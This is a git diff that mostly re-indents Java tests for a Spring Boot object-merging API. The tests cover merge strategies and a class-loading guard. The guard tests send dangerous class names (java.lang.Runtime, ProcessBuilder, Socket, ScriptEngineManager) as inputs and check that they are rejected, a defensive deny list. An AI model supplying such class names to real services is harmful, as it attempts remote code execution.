.contentType(MediaType.APPLICATION_JSON) - .content(objectMapper.writeValueAsString(request))) - .andExpect(status().isOk()) - .andExpect(jsonPath("$.age").value(35)); // maximum of 25, 35, 30 - } - - @Test - @DisplayName("Should merge with minimum strategy") - void testMergeWithMinimumStrategy() throws Exception { - MergeRequest request = new MergeRequest(); - request.setTargetClass("de.x132.objectmerger.model.Person"); - - Map> definition = new LinkedHashMap<>(); - definition.put("name", Map.of("strategy", "priority", "priority", Map.of("source1", 1))); - definition.put("age", Map.of("strategy", "minimum")); - definition.put("email", Map.of("strategy", "priority", "priority", Map.of("source1", 1))); - definition.put("phone", Map.of("strategy", "priority", "priority", Map.of("source1", 1))); - request.setDefinition(definition); - - Map source1 = new LinkedHashMap<>(); - source1.put("name", "Person1"); - source1.put("age", 25); - source1.put("email", "p1@example.com"); - source1.put("phone", "111"); - - Map source2 = new LinkedHashMap<>(); - source2.put("name", "Person2"); - source2.put("age", 35); - source2.put("email", "p2@example.com"); - source2.put("phone", "222"); - - List sources = - Arrays.asList( - new LabeledSourceDTO("source1", source1), new LabeledSourceDTO("source2", source2)); - request.setSources(sources); - - mockMvc - .perform( - post("/api/v1/merge") - .contentType(MediaType.APPLICATION_JSON) - .content(objectMapper.writeValueAsString(request))) - .andExpect(status().isOk()) - .andExpect(jsonPath("$.age").value(25)); // minimum of 25, 35 - } - - @Test - @DisplayName("Should merge with average strategy") - void testMergeWithAverageStrategy() throws Exception { - MergeRequest request = new MergeRequest(); - request.setTargetClass("de.x132.objectmerger.model.Person"); - - Map> definition = new LinkedHashMap<>(); - definition.put("name", Map.of("strategy", "priority", "priority", Map.of("source1", 1))); - definition.put("age", Map.of("strategy", "average")); - definition.put("email", Map.of("strategy", "priority", "priority", Map.of("source1", 1))); - definition.put("phone", Map.of("strategy", "priority", "priority", Map.of("source1", 1))); - request.setDefinition(definition); - - Map source1 = new LinkedHashMap<>(); - source1.put("name", "Person1"); - source1.put("age", 20); - source1.put("email", "p1@example.com"); - source1.put("phone", "111"); - - Map source2 = new LinkedHashMap<>(); - source2.put("name", "Person2"); - source2.put("age", 30); - source2.put("email", "p2@example.com"); - source2.put("phone", "222"); - - Map source3 = new LinkedHashMap<>(); - source3.put("name", "Person3"); - source3.put("age", 40); - source3.put("email", "p3@example.com"); - source3.put("phone", "333"); - - List sources = - Arrays.asList( - new LabeledSourceDTO("source1", source1), - new LabeledSourceDTO("source2", source2), - new LabeledSourceDTO("source3", source3)); - request.setSources(sources); - - mockMvc - .perform( - post("/api/v1/merge") - .contentType(MediaType.APPLICATION_JSON) - .content(objectMapper.writeValueAsString(request))) - .andExpect(status().isOk()) - .andExpect(jsonPath("$.age").value(30)); // average of 20, 30, 40 - } - - @Test - @DisplayName("Should merge with sum strategy") - void testMergeWithSumStrategy() throws Exception { - MergeRequest request = new MergeRequest(); - request.setTargetClass("de.x132.objectmerger.model.Person"); - - Map> definition = new LinkedHashMap<>(); - definition.put("name", Map.of("strategy", "priority", "priority", Map.of("source1", 1))); - definition.put("age", Map.of("strategy", "sum")); - definition.put("email", Map.of("strategy", "priority", "priority", Map.of("source1", 1))); - definition.put("phone", Map.of("strategy", "priority", "priority", Map.of("source1", 1))); - request.setDefinition(definition); - - Map source1 = new LinkedHashMap<>(); - source1.put("name", "Person1"); - source1.put("age", 10); - source1.put("email", "p1@example.com"); - source1.put("phone", "111"); - - Map source2 = new LinkedHashMap<>(); - source2.put("name", "Person2"); - source2.put("age", 20); - source2.put("email", "p2@example.com"); - source2.put("phone", "222"); - - Map source3 = new LinkedHashMap<>(); - source3.put("name", "Person3"); - source3.put("age", 30); - source3.put("email", "p3@example.com"); - source3.put("phone", "333"); - - List sources = - Arrays.asList( - new LabeledSourceDTO("source1", source1), - new LabeledSourceDTO("source2", source2), - new LabeledSourceDTO("source3", source3)); - request.setSources(sources); - - mockMvc - .perform( - post("/api/v1/merge") - .contentType(MediaType.APPLICATION_JSON) - .content(objectMapper.writeValueAsString(request))) - .andExpect(status().isOk()) - .andExpect(jsonPath("$.age").value(60)); // sum of 10, 20, 30 - } - - @Test - @DisplayName("Should return 403 when target class is not in allowed packages") - void testMergeWithBlockedTargetClass() throws Exception { - MergeRequest request = new MergeRequest(); - request.setTargetClass("com.invalid.NonExistentClass"); - - Map> definition = new LinkedHashMap<>(); - definition.put("name", Map.of("strategy", "priority", "priority", Map.of("source1", 1))); - request.setDefinition(definition); - - Map source = new LinkedHashMap<>(); - source.put("name", "Test"); - - List sources = - Collections.singletonList(new LabeledSourceDTO("source1", source)); - request.setSources(sources); - - mockMvc - .perform( - post("/api/v1/merge") - .contentType(MediaType.APPLICATION_JSON) - .content(objectMapper.writeValueAsString(request))) - .andExpect(status().isForbidden()) - .andExpect(jsonPath("$.error").exists()); - } - - @Test - @DisplayName("Should handle null values in sources") - void testMergeWithNullValues() throws Exception { - MergeRequest request = new MergeRequest(); - request.setTargetClass("de.x132.objectmerger.model.Person"); - - Map> definition = new LinkedHashMap<>(); - definition.put( - "name", Map.of("strategy", "priority", "priority", Map.of("source1", 1, "source2", 2))); - definition.put( - "age", Map.of("strategy", "priority", "priority", Map.of("source1", 1, "source2", 2))); - definition.put( - "email", Map.of("strategy", "priority", "priority", Map.of("source1", 1, "source2", 2))); - definition.put( - "phone", Map.of("strategy", "priority", "priority", Map.of("source1", 1, "source2", 2))); - request.setDefinition(definition); - - // source1 has nulls - Map source1 = new LinkedHashMap<>(); - source1.put("name", null); - source1.put("age", null); - source1.put("email", "email1@example.com"); - source1.put("phone", null); - - // source2 fills in the gaps - Map source2 = new LinkedHashMap<>(); - source2.put("name", "Fallback Name"); - source2.put("age", 40); - source2.put("email", "email2@example.com"); - source2.put("phone", "999-999"); - - List sources = - Arrays.asList( - new LabeledSourceDTO("source1", source1), new LabeledSourceDTO("source2", source2)); - request.setSources(sources); - - mockMvc - .perform( - post("/api/v1/merge") - .contentType(MediaType.APPLICATION_JSON) - .content(objectMapper.writeValueAsString(request))) - .andExpect(status().isOk()) - .andExpect(jsonPath("$.name").value("Fallback Name")) // falls back to source2 - .andExpect(jsonPath("$.age").value(40)) // falls back to source2 - .andExpect(jsonPath("$.email").value("email1@example.com")) // source1 has value - .andExpect(jsonPath("$.phone").value("999-999")); // falls back to source2 - } - - @Test - @DisplayName("Should merge with multiple sources and complex priority") - void testMergeWithComplexPriority() throws Exception { - MergeRequest request = new MergeRequest(); - request.setTargetClass("de.x132.objectmerger.model.Person"); - - Map> definition = new LinkedHashMap<>(); - definition.put( - "name", - Map.of( - "strategy", "priority", "priority", Map.of("database", 1, "crm", 2, "analytics", 3))); - definition.put("age", Map.of("strategy", "maximum")); - definition.put( - "email", - Map.of( - "strategy", "priority", "priority", Map.of("analytics", 1, "crm", 2, "database", 3))); - definition.put( - "phone", - Map.of( - "strategy", "priority", "priority", Map.of("crm", 1, "database", 2, "analytics", 3))); - request.setDefinition(definition); - - Map dbSource = new LinkedHashMap<>(); - dbSource.put("name", "DB Name"); - dbSource.put("age", 25); - dbSource.put("email", "db@example.com"); - dbSource.put("phone", "111-111"); - - Map crmSource = new LinkedHashMap<>(); - crmSource.put("name", null); - crmSource.put("age", 30); - crmSource.put("email", "crm@example.com"); - crmSource.put("phone", "222-222"); - - Map analyticsSource = new LinkedHashMap<>(); - analyticsSource.put("name", null); - analyticsSource.put("age", 35); - analyticsSource.put("email", "analytics@example.com"); - analyticsSource.put("phone", null); - - List sources = - Arrays.asList( - new LabeledSourceDTO("database", dbSource), - new LabeledSourceDTO("crm", crmSource), - new LabeledSourceDTO("analytics", analyticsSource)); - request.setSources(sources); - - mockMvc - .perform( - post("/api/v1/merge") - .contentType(MediaType.APPLICATION_JSON) - .content(objectMapper.writeValueAsString(request))) - .andExpect(status().isOk()) - .andExpect(jsonPath("$.name").value("DB Name")) // database has priority 1 - .andExpect(jsonPath("$.age").value(35)) // maximum strategy - .andExpect(jsonPath("$.email").value("analytics@example.com")) // analytics has priority 1 - .andExpect(jsonPath("$.phone").value("222-222")); // crm has priority 1 - } + @Autowired private MockMvc mockMvc; + + @Autowired private ObjectMapper objectMapper; + + @Test + @DisplayName("Should return UP status from health endpoint") + void testHealthEndpoint() throws Exception { + mockMvc.perform(get("/api/v1/merge/health")) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.status").value("UP")); + } + + @Test + @DisplayName("Should merge person from example endpoint") + void testExampleEndpoint() throws Exception { + mockMvc.perform(post("/api/v1/merge/example")) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.name").value("Max Müller")) + .andExpect(jsonPath("$.age").value(35)) + .andExpect(jsonPath("$.email").value("max@example.com")) + .andExpect(jsonPath("$.phone").value("030-654321")); + } + + @Test + @DisplayName("Should merge person with priority strategy") + void testMergeWithPriorityStrategy() throws Exception { + // Prepare request + MergeRequest request = new MergeRequest(); + request.setTargetClass("de.x132.objectmerger.model.Person"); + + // Define merge definition with priority + Map> definition = new LinkedHashMap<>(); + definition.put( + "name", + Map.of("strategy", "priority", "priority", Map.of("database", 1, "crm", 2))); + definition.put("age", Map.of("strategy", "maximum")); + definition.put("email", Map.of("strategy", "priority", "priority", Map.of("database", 1))); + definition.put("phone", Map.of("strategy", "priority", "priority", Map.of("crm", 1))); + request.setDefinition(definition); + + // Define sources + Map dbSource = new LinkedHashMap<>(); + dbSource.put("name", "Max Müller"); + dbSource.put("age", 30); + dbSource.put("email", "max@example.com"); + dbSource.put("phone", null); + + Map crmSource = new LinkedHashMap<>(); + crmSource.put("name", "Maximilian Müller"); + crmSource.put("age", 25); + crmSource.put("email", null); + crmSource.put("phone", "030-123456"); + + List sources = + Arrays.asList( + new LabeledSourceDTO("database", dbSource), + new LabeledSourceDTO("crm", crmSource)); + request.setSources(sources); + + // Execute request + mockMvc.perform( + post("/api/v1/merge") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(request))) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.name").value("Max Müller")) // priority 1: database + .andExpect(jsonPath("$.age").value(30)) // maximum strategy + .andExpect(jsonPath("$.email").value("max@example.com")) // priority 1: database + .andExpect(jsonPath("$.phone").value("030-123456")); // priority 1: crm + } + + @Test + @DisplayName("Should merge with maximum strategy") + void testMergeWithMaximumStrategy() throws Exception { + MergeRequest request = new MergeRequest(); + request.setTargetClass("de.x132.objectmerger.model.Person"); + + Map> definition = new LinkedHashMap<>(); + definition.put("name", Map.of("strategy", "priority", "priority", Map.of("source1", 1))); + definition.put("age", Map.of("strategy", "maximum")); + definition.put("email", Map.of("strategy", "priority", "priority", Map.of("source1", 1))); + definition.put("phone", Map.of("strategy", "priority", "priority", Map.of("source1", 1))); + request.setDefinition(definition); + + Map source1 = new LinkedHashMap<>(); + source1.put("name", "John"); + source1.put("age", 25); + source1.put("email", "john@example.com"); + source1.put("phone", "111"); + + Map source2 = new LinkedHashMap<>(); + source2.put("name", "Jane"); + source2.put("age", 35); + source2.put("email", "jane@example.com"); + source2.put("phone", "222"); + + Map source3 = new LinkedHashMap<>(); + source3.put("name", "Bob"); + source3.put("age", 30); + source3.put("email", "bob@example.com"); + source3.put("phone", "333"); + + List sources = + Arrays.asList( + new LabeledSourceDTO("source1", source1), + new LabeledSourceDTO("source2", source2), + new LabeledSourceDTO("source3", source3)); + request.setSources(sources); + + mockMvc.perform( + post("/api/v1/merge") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(request))) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.age").value(35)); // maximum of 25, 35, 30 + } + + @Test + @DisplayName("Should merge with minimum strategy") + void testMergeWithMinimumStrategy() throws Exception { + MergeRequest request = new MergeRequest(); + request.setTargetClass("de.x132.objectmerger.model.Person"); + + Map> definition = new LinkedHashMap<>(); + definition.put("name", Map.of("strategy", "priority", "priority", Map.of("source1", 1))); + definition.put("age", Map.of("strategy", "minimum")); + definition.put("email", Map.of("strategy", "priority", "priority", Map.of("source1", 1))); + definition.put("phone", Map.of("strategy", "priority", "priority", Map.of("source1", 1))); + request.setDefinition(definition); + + Map source1 = new LinkedHashMap<>(); + source1.put("name", "Person1"); + source1.put("age", 25); + source1.put("email", "p1@example.com"); + source1.put("phone", "111"); + + Map source2 = new LinkedHashMap<>(); + source2.put("name", "Person2"); + source2.put("age", 35); + source2.put("email", "p2@example.com"); + source2.put("phone", "222"); + + List sources = + Arrays.asList( + new LabeledSourceDTO("source1", source1), + new LabeledSourceDTO("source2", source2)); + request.setSources(sources); + + mockMvc.perform( + post("/api/v1/merge") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(request))) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.age").value(25)); // minimum of 25, 35 + } + + @Test + @DisplayName("Should merge with average strategy") + void testMergeWithAverageStrategy() throws Exception { + MergeRequest request = new MergeRequest(); + request.setTargetClass("de.x132.objectmerger.model.Person"); + + Map> definition = new LinkedHashMap<>(); + definition.put("name", Map.of("strategy", "priority", "priority", Map.of("source1", 1))); + definition.put("age", Map.of("strategy", "average")); + definition.put("email", Map.of("strategy", "priority", "priority", Map.of("source1", 1))); + definition.put("phone", Map.of("strategy", "priority", "priority", Map.of("source1", 1))); + request.setDefinition(definition); + + Map source1 = new LinkedHashMap<>(); + source1.put("name", "Person1"); + source1.put("age", 20); + source1.put("email", "p1@example.com"); + source1.put("phone", "111"); + + Map source2 = new LinkedHashMap<>(); + source2.put("name", "Person2"); + source2.put("age", 30); + source2.put("email", "p2@example.com"); + source2.put("phone", "222"); + + Map source3 = new LinkedHashMap<>(); + source3.put("name", "Person3"); + source3.put("age", 40); + source3.put("email", "p3@example.com"); + source3.put("phone", "333"); + + List sources = + Arrays.asList( + new LabeledSourceDTO("source1", source1), + new LabeledSourceDTO("source2", source2), + new LabeledSourceDTO("source3", source3)); + request.setSources(sources); + + mockMvc.perform( + post("/api/v1/merge") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(request))) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.age").value(30)); // average of 20, 30, 40 + } + + @Test + @DisplayName("Should merge with sum strategy") + void testMergeWithSumStrategy() throws Exception { + MergeRequest request = new MergeRequest(); + request.setTargetClass("de.x132.objectmerger.model.Person"); + + Map> definition = new LinkedHashMap<>(); + definition.put("name", Map.of("strategy", "priority", "priority", Map.of("source1", 1))); + definition.put("age", Map.of("strategy", "sum")); + definition.put("email", Map.of("strategy", "priority", "priority", Map.of("source1", 1))); + definition.put("phone", Map.of("strategy", "priority", "priority", Map.of("source1", 1))); + request.setDefinition(definition); + + Map source1 = new LinkedHashMap<>(); + source1.put("name", "Person1"); + source1.put("age", 10); + source1.put("email", "p1@example.com"); + source1.put("phone", "111"); + + Map source2 = new LinkedHashMap<>(); + source2.put("name", "Person2"); + source2.put("age", 20); + source2.put("email", "p2@example.com"); + source2.put("phone", "222"); + + Map source3 = new LinkedHashMap<>(); + source3.put("name", "Person3"); + source3.put("age", 30); + source3.put("email", "p3@example.com"); + source3.put("phone", "333"); + + List sources = + Arrays.asList( + new LabeledSourceDTO("source1", source1), + new LabeledSourceDTO("source2", source2), + new LabeledSourceDTO("source3", source3)); + request.setSources(sources); + + mockMvc.perform( + post("/api/v1/merge") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(request))) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.age").value(60)); // sum of 10, 20, 30 + } + + @Test + @DisplayName("Should return 403 when target class is not in allowed packages") + void testMergeWithBlockedTargetClass() throws Exception { + MergeRequest request = new MergeRequest(); + request.setTargetClass("com.invalid.NonExistentClass"); + + Map> definition = new LinkedHashMap<>(); + definition.put("name", Map.of("strategy", "priority", "priority", Map.of("source1", 1))); + request.setDefinition(definition); + + Map source = new LinkedHashMap<>(); + source.put("name", "Test"); + + List sources = + Collections.singletonList(new LabeledSourceDTO("source1", source)); + request.setSources(sources); + + mockMvc.perform( + post("/api/v1/merge") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(request))) + .andExpect(status().isForbidden()) + .andExpect(jsonPath("$.error").exists()); + } + + @Test + @DisplayName("Should handle null values in sources") + void testMergeWithNullValues() throws Exception { + MergeRequest request = new MergeRequest(); + request.setTargetClass("de.x132.objectmerger.model.Person"); + + Map> definition = new LinkedHashMap<>(); + definition.put( + "name", + Map.of("strategy", "priority", "priority", Map.of("source1", 1, "source2", 2))); + definition.put( + "age", + Map.of("strategy", "priority", "priority", Map.of("source1", 1, "source2", 2))); + definition.put( + "email", + Map.of("strategy", "priority", "priority", Map.of("source1", 1, "source2", 2))); + definition.put( + "phone", + Map.of("strategy", "priority", "priority", Map.of("source1", 1, "source2", 2))); + request.setDefinition(definition); + + // source1 has nulls + Map source1 = new LinkedHashMap<>(); + source1.put("name", null); + source1.put("age", null); + source1.put("email", "email1@example.com"); + source1.put("phone", null); + + // source2 fills in the gaps + Map source2 = new LinkedHashMap<>(); + source2.put("name", "Fallback Name"); + source2.put("age", 40); + source2.put("email", "email2@example.com"); + source2.put("phone", "999-999"); + + List sources = + Arrays.asList( + new LabeledSourceDTO("source1", source1), + new LabeledSourceDTO("source2", source2)); + request.setSources(sources); + + mockMvc.perform( + post("/api/v1/merge") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(request))) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.name").value("Fallback Name")) // falls back to source2 + .andExpect(jsonPath("$.age").value(40)) // falls back to source2 + .andExpect(jsonPath("$.email").value("email1@example.com")) // source1 has value + .andExpect(jsonPath("$.phone").value("999-999")); // falls back to source2 + } + + @Test + @DisplayName("Should merge with multiple sources and complex priority") + void testMergeWithComplexPriority() throws Exception { + MergeRequest request = new MergeRequest(); + request.setTargetClass("de.x132.objectmerger.model.Person"); + + Map> definition = new LinkedHashMap<>(); + definition.put( + "name", + Map.of( + "strategy", + "priority", + "priority", + Map.of("database", 1, "crm", 2, "analytics", 3))); + definition.put("age", Map.of("strategy", "maximum")); + definition.put( + "email", + Map.of( + "strategy", + "priority", + "priority", + Map.of("analytics", 1, "crm", 2, "database", 3))); + definition.put( + "phone", + Map.of( + "strategy", + "priority", + "priority", + Map.of("crm", 1, "database", 2, "analytics", 3))); + request.setDefinition(definition); + + Map dbSource = new LinkedHashMap<>(); + dbSource.put("name", "DB Name"); + dbSource.put("age", 25); + dbSource.put("email", "db@example.com"); + dbSource.put("phone", "111-111"); + + Map crmSource = new LinkedHashMap<>(); + crmSource.put("name", null); + crmSource.put("age", 30); + crmSource.put("email", "crm@example.com"); + crmSource.put("phone", "222-222"); + + Map analyticsSource = new LinkedHashMap<>(); + analyticsSource.put("name", null); + analyticsSource.put("age", 35); + analyticsSource.put("email", "analytics@example.com"); + analyticsSource.put("phone", null); + + List sources = + Arrays.asList( + new LabeledSourceDTO("database", dbSource), + new LabeledSourceDTO("crm", crmSource), + new LabeledSourceDTO("analytics", analyticsSource)); + request.setSources(sources); + + mockMvc.perform( + post("/api/v1/merge") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(request))) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.name").value("DB Name")) // database has priority 1 + .andExpect(jsonPath("$.age").value(35)) // maximum strategy + .andExpect(jsonPath("$.email").value("analytics@example.com")) // analytics has + // priority 1 + .andExpect(jsonPath("$.phone").value("222-222")); // crm has priority 1 + } } diff --git a/objectmerger-spring-boot/src/test/java/de/x132/objectmerger/controller/MergeControllerTest.java b/objectmerger-spring-boot/src/test/java/de/x132/objectmerger/controller/MergeControllerTest.java index de85e8d..eb20158 100644 --- a/objectmerger-spring-boot/src/test/java/de/x132/objectmerger/controller/MergeControllerTest.java +++ b/objectmerger-spring-boot/src/test/java/de/x132/objectmerger/controller/MergeControllerTest.java @@ -20,59 +20,55 @@ @Import(ClassLoadingGuard.class) class MergeControllerTest { - @Autowired private MockMvc mockMvc; + @Autowired private MockMvc mockMvc; - @MockBean private ObjectMergerService objectMergerService; + @MockBean private ObjectMergerService objectMergerService; - @Test - void testGenerateFromClass() throws Exception { - Map request = Map.of("className", "Person"); + @Test + void testGenerateFromClass() throws Exception { + Map request = Map.of("className", "Person"); - mockMvc - .perform( - post("/api/v1/merge/generator/class") - .contentType(MediaType.APPLICATION_JSON) - .content(new ObjectMapper().writeValueAsString(request))) - .andExpect(status().isOk()) - .andExpect(jsonPath("$.definitions.name").exists()); - } + mockMvc.perform( + post("/api/v1/merge/generator/class") + .contentType(MediaType.APPLICATION_JSON) + .content(new ObjectMapper().writeValueAsString(request))) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.definitions.name").exists()); + } - @Test - void testGenerateFromClass_Invalid() throws Exception { - Map request = Map.of("className", "UnknownClass"); + @Test + void testGenerateFromClass_Invalid() throws Exception { + Map request = Map.of("className", "UnknownClass"); - mockMvc - .perform( - post("/api/v1/merge/generator/class") - .contentType(MediaType.APPLICATION_JSON) - .content(new ObjectMapper().writeValueAsString(request))) - .andExpect(status().isForbidden()); - } + mockMvc.perform( + post("/api/v1/merge/generator/class") + .contentType(MediaType.APPLICATION_JSON) + .content(new ObjectMapper().writeValueAsString(request))) + .andExpect(status().isForbidden()); + } - @Test - void testGenerateFromClass_DangerousClassIsBlocked() throws Exception { - Map request = Map.of("className", "java.lang.Runtime"); + @Test + void testGenerateFromClass_DangerousClassIsBlocked() throws Exception { + Map request = Map.of("className", "java.lang.Runtime"); - mockMvc - .perform( - post("/api/v1/merge/generator/class") - .contentType(MediaType.APPLICATION_JSON) - .content(new ObjectMapper().writeValueAsString(request))) - .andExpect(status().isForbidden()) - .andExpect(jsonPath("$.error").exists()); - } + mockMvc.perform( + post("/api/v1/merge/generator/class") + .contentType(MediaType.APPLICATION_JSON) + .content(new ObjectMapper().writeValueAsString(request))) + .andExpect(status().isForbidden()) + .andExpect(jsonPath("$.error").exists()); + } - @Test - void testGenerateFromJson() throws Exception { - Map request = Map.of("field1", "val1", "field2", 123); + @Test + void testGenerateFromJson() throws Exception { + Map request = Map.of("field1", "val1", "field2", 123); - mockMvc - .perform( - post("/api/v1/merge/generator/json") - .contentType(MediaType.APPLICATION_JSON) - .content(new ObjectMapper().writeValueAsString(request))) - .andExpect(status().isOk()) - .andExpect(jsonPath("$.definitions.field1").exists()) - .andExpect(jsonPath("$.definitions.field2").exists()); - } + mockMvc.perform( + post("/api/v1/merge/generator/json") + .contentType(MediaType.APPLICATION_JSON) + .content(new ObjectMapper().writeValueAsString(request))) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.definitions.field1").exists()) + .andExpect(jsonPath("$.definitions.field2").exists()); + } } diff --git a/objectmerger-spring-boot/src/test/java/de/x132/objectmerger/security/ClassLoadingGuardTest.java b/objectmerger-spring-boot/src/test/java/de/x132/objectmerger/security/ClassLoadingGuardTest.java index 5c999fb..4d5d358 100644 --- a/objectmerger-spring-boot/src/test/java/de/x132/objectmerger/security/ClassLoadingGuardTest.java +++ b/objectmerger-spring-boot/src/test/java/de/x132/objectmerger/security/ClassLoadingGuardTest.java @@ -14,162 +14,170 @@ @DisplayName("ClassLoadingGuard Security Tests") class ClassLoadingGuardTest { - private ClassLoadingGuard guard; - - @BeforeEach - void setUp() { - guard = new ClassLoadingGuard(); - guard.setAllowedPackages(List.of("de.x132.objectmerger.model.")); - } - - @Nested - @DisplayName("Allowed classes load successfully") - class AllowedClassesLoadSuccessfully { - - @Test - void allowsMapClass() { - assertDoesNotThrow( - () -> { - Class clazz = guard.loadClassSafely("java.util.Map"); - assertEquals(Map.class, clazz); - }); + private ClassLoadingGuard guard; + + @BeforeEach + void setUp() { + guard = new ClassLoadingGuard(); + guard.setAllowedPackages(List.of("de.x132.objectmerger.model.")); + } + + @Nested + @DisplayName("Allowed classes load successfully") + class AllowedClassesLoadSuccessfully { + + @Test + void allowsMapClass() { + assertDoesNotThrow( + () -> { + Class clazz = guard.loadClassSafely("java.util.Map"); + assertEquals(Map.class, clazz); + }); + } + + @Test + void allowsHashMapClass() { + assertDoesNotThrow( + () -> { + Class clazz = guard.loadClassSafely("java.util.HashMap"); + assertEquals(Map.class, clazz); + }); + } + + @Test + void allowsLinkedHashMapClass() { + assertDoesNotThrow( + () -> { + Class clazz = guard.loadClassSafely("java.util.LinkedHashMap"); + assertEquals(Map.class, clazz); + }); + } + + @Test + void allowsWhitelistedModelClass() { + assertDoesNotThrow(() -> guard.loadClassSafely("de.x132.objectmerger.model.Person")); + } + } + + @Nested + @DisplayName("Dangerous classes are blocked") + class DangerousClassesAreBlocked { + + @Test + void blocksRuntimeClass() { + assertThrows(SecurityException.class, () -> guard.loadClassSafely("java.lang.Runtime")); + } + + @Test + void blocksProcessBuilderClass() { + assertThrows( + SecurityException.class, + () -> guard.loadClassSafely("java.lang.ProcessBuilder")); + } + + @Test + void blocksSystemClass() { + assertThrows(SecurityException.class, () -> guard.loadClassSafely("java.lang.System")); + } + + @Test + void blocksFileClass() { + assertThrows(SecurityException.class, () -> guard.loadClassSafely("java.io.File")); + } + + @Test + void blocksSocketClass() { + assertThrows(SecurityException.class, () -> guard.loadClassSafely("java.net.Socket")); + } + + @Test + void blocksNioFileClass() { + assertThrows( + SecurityException.class, () -> guard.loadClassSafely("java.nio.file.Files")); + } + + @Test + void blocksReflectionClass() { + assertThrows( + SecurityException.class, + () -> guard.loadClassSafely("java.lang.reflect.Method")); + } + + @Test + void blocksSunInternalClass() { + assertThrows(SecurityException.class, () -> guard.loadClassSafely("sun.misc.Unsafe")); + } + + @Test + void blocksComSunClass() { + assertThrows( + SecurityException.class, + () -> guard.loadClassSafely("com.sun.net.httpserver.HttpServer")); + } + + @Test + void blocksJavaxClass() { + assertThrows( + SecurityException.class, + () -> guard.loadClassSafely("javax.script.ScriptEngineManager")); + } + + @Test + void blocksConcurrentClass() { + assertThrows( + SecurityException.class, + () -> guard.loadClassSafely("java.util.concurrent.Executors")); + } + } + + @Nested + @DisplayName("Unlisted packages are blocked") + class UnlistedPackagesAreBlocked { + + @Test + void blocksArbitraryThirdPartyClass() { + assertThrows( + SecurityException.class, + () -> guard.loadClassSafely("org.apache.commons.io.FileUtils")); + } + + @Test + void blocksClassOutsideWhitelist() { + assertThrows( + SecurityException.class, () -> guard.loadClassSafely("com.example.SomeClass")); + } + } + + @Nested + @DisplayName("Custom allowed packages work correctly") + class CustomAllowedPackagesWork { + + @Test + void allowsCustomPackageWhenConfigured() { + guard.setAllowedPackages(List.of("de.x132.objectmerger.model.", "com.mycompany.dto.")); + + assertThrows( + SecurityException.class, () -> guard.loadClassSafely("com.example.SomeClass")); + } + } + + @Nested + @DisplayName("Null and blank inputs are rejected") + class NullAndBlankInputsAreRejected { + + @Test + void blocksNullClassName() { + assertThrows(SecurityException.class, () -> guard.loadClassSafely(null)); + } + + @Test + void blocksBlankClassName() { + assertThrows(SecurityException.class, () -> guard.loadClassSafely(" ")); + } + + @Test + void blocksEmptyClassName() { + assertThrows(SecurityException.class, () -> guard.loadClassSafely("")); + } } - - @Test - void allowsHashMapClass() { - assertDoesNotThrow( - () -> { - Class clazz = guard.loadClassSafely("java.util.HashMap"); - assertEquals(Map.class, clazz); - }); - } - - @Test - void allowsLinkedHashMapClass() { - assertDoesNotThrow( - () -> { - Class clazz = guard.loadClassSafely("java.util.LinkedHashMap"); - assertEquals(Map.class, clazz); - }); - } - - @Test - void allowsWhitelistedModelClass() { - assertDoesNotThrow(() -> guard.loadClassSafely("de.x132.objectmerger.model.Person")); - } - } - - @Nested - @DisplayName("Dangerous classes are blocked") - class DangerousClassesAreBlocked { - - @Test - void blocksRuntimeClass() { - assertThrows(SecurityException.class, () -> guard.loadClassSafely("java.lang.Runtime")); - } - - @Test - void blocksProcessBuilderClass() { - assertThrows( - SecurityException.class, () -> guard.loadClassSafely("java.lang.ProcessBuilder")); - } - - @Test - void blocksSystemClass() { - assertThrows(SecurityException.class, () -> guard.loadClassSafely("java.lang.System")); - } - - @Test - void blocksFileClass() { - assertThrows(SecurityException.class, () -> guard.loadClassSafely("java.io.File")); - } - - @Test - void blocksSocketClass() { - assertThrows(SecurityException.class, () -> guard.loadClassSafely("java.net.Socket")); - } - - @Test - void blocksNioFileClass() { - assertThrows(SecurityException.class, () -> guard.loadClassSafely("java.nio.file.Files")); - } - - @Test - void blocksReflectionClass() { - assertThrows( - SecurityException.class, () -> guard.loadClassSafely("java.lang.reflect.Method")); - } - - @Test - void blocksSunInternalClass() { - assertThrows(SecurityException.class, () -> guard.loadClassSafely("sun.misc.Unsafe")); - } - - @Test - void blocksComSunClass() { - assertThrows( - SecurityException.class, - () -> guard.loadClassSafely("com.sun.net.httpserver.HttpServer")); - } - - @Test - void blocksJavaxClass() { - assertThrows( - SecurityException.class, () -> guard.loadClassSafely("javax.script.ScriptEngineManager")); - } - - @Test - void blocksConcurrentClass() { - assertThrows( - SecurityException.class, () -> guard.loadClassSafely("java.util.concurrent.Executors")); - } - } - - @Nested - @DisplayName("Unlisted packages are blocked") - class UnlistedPackagesAreBlocked { - - @Test - void blocksArbitraryThirdPartyClass() { - assertThrows( - SecurityException.class, () -> guard.loadClassSafely("org.apache.commons.io.FileUtils")); - } - - @Test - void blocksClassOutsideWhitelist() { - assertThrows(SecurityException.class, () -> guard.loadClassSafely("com.example.SomeClass")); - } - } - - @Nested - @DisplayName("Custom allowed packages work correctly") - class CustomAllowedPackagesWork { - - @Test - void allowsCustomPackageWhenConfigured() { - guard.setAllowedPackages(List.of("de.x132.objectmerger.model.", "com.mycompany.dto.")); - - assertThrows(SecurityException.class, () -> guard.loadClassSafely("com.example.SomeClass")); - } - } - - @Nested - @DisplayName("Null and blank inputs are rejected") - class NullAndBlankInputsAreRejected { - - @Test - void blocksNullClassName() { - assertThrows(SecurityException.class, () -> 